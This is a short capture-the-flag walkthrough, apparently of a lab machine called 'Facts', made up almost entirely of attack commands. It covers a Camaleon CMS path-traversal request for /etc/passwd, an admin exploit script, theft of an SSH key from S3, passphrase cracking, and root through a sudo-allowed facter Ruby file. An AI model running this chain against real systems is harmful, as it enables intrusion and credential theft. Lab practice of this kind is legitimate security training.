Facts: CMS Chain to Root

$ sudo nmap -sV -sC -p- 10.129.49.72 -oA fullfactsscan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    (Camaleon CMS 2.9.0)

$ feroxbuster -u http://facts.htb/

200      GET       /admin

$ curl -q -b 'COOKIEVALUE' \
  "http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd"

$ python exploit.py -u http://facts.htb -U john -P [REDACTED] -e -r

# now admin — S3 endpoint + access keys recovered

$ aws configure --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/ --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 cp \
    s3://internal/.ssh/id_ed25519 ./facts.id --profile facts

$ ssh2john facts.id > hash.txt
$ john hash.txt --wordlist=/opt/wordlists/rockyou.txt

# passphrase: [REDACTED]

$ chmod 600 facts.id
$ ssh trivia@facts.htb -i facts.id

$ sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

$ echo 'exec "/bin/bash"' > exploit.rb
$ sudo /usr/bin/facter --custom-dir /tmp exploit

# whoami → root
# cat /root/root.txt